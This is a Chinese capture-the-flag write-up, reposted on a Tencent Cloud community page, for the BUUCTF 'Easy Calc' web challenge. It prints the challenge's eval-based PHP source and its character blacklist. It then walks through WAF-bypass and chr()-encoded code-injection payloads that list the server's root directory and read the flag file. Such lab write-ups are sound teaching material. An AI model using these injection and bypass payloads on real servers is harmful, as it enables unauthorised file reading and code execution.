【BUUCTF】[RoarCTF 2019]Easy Calc

熔城Sec

发布于 2026-07-22 20:33:43

01、题目简介

题目名称：[RoarCTF 2019]Easy Calc
题目平台：BUUCTF
题目类型：Web

02、解题步骤

启动并访问靶机

发现是一个简单的计算器，然后我们右键检查网页源代码，发现了如下的代码

<!--I've set up WAF to ensure security.-->
<script>
    $('#calc').submit(function(){
        $.ajax({
            url:"calc.php?num="+encodeURIComponent($("#content").val()),
            type:'GET',
            success:function(data){
                $("#result").html(`<div class="alert alert-success">
            <strong>答案:</strong>${data}
            </div>`);
            },
            error:function(){
                alert("这啥?算不来!");
            }
        })
        return false;
    })
</script>

上述代码有一行注释，提示我们存在waf，并且下面的到代码说明，点击提交按钮后，会将请求进行encode编码，传给clac.php，接下来我们访问一下clac.php，看看传入的参数到底进行了什么变化。

<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?>

其中clac.php的代码首先就是判断num值是否存在，如果url中未传入num参数通过show_source函数输出当前文件代码。若是num值存在，其中$blacklist定义了黑名单，只要输入中任何位置出现被禁的字符序列，就会die()终止程序。

但是下方的危险函数eval给了我们机会可以执行命令。接下来我们先构造一个简单的payload

/calc.php?num=phpinfo();

产生了报错，可能是之前注释中的waf不允许num中传参字母，那我们根据PHP的解析，如果变量前面有空格，会去掉前面的空格再解析，我们变更一下payload

/calc.php? num=phpinfo();

那接下来我们就可以通过危险eval，读取当前目录下的文件了，因为上面$blacklist进行了黑名单操作，那就用chr()绕过。并且使用函数来进行读取和输出。

scandir()函数：列出参数目录中的文件和目录

var_dump：打印变量的相关信息

/calc.php? num=var_dump(scandir(chr(47)))

通过chr(47)进行根目录读取

发现了flagg，接下来我们尝试对文件进行读取，这里使用file_get_contents，该函数把整个文件读入一个字符串中。

calc.php? num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

本文参与腾讯云自媒体同步曝光计划，分享自微信公众号。

原始发表：2026-05-18，如有侵权请联系 cloudcommunity@tencent.com 删除

编码

本文分享自熔城Sec 微信公众号，前往查看

如有侵权，请联系 cloudcommunity@tencent.com 删除。

本文参与腾讯云自媒体同步曝光计划，欢迎热爱写作的你一起参与！

登录后参与评论

0 条评论

热度

【BUUCTF】[RoarCTF 2019]Easy Calc

【BUUCTF】[RoarCTF 2019]Easy Calc

社区

活动

圈层

关于

腾讯云开发者

热门产品

热门推荐

更多推荐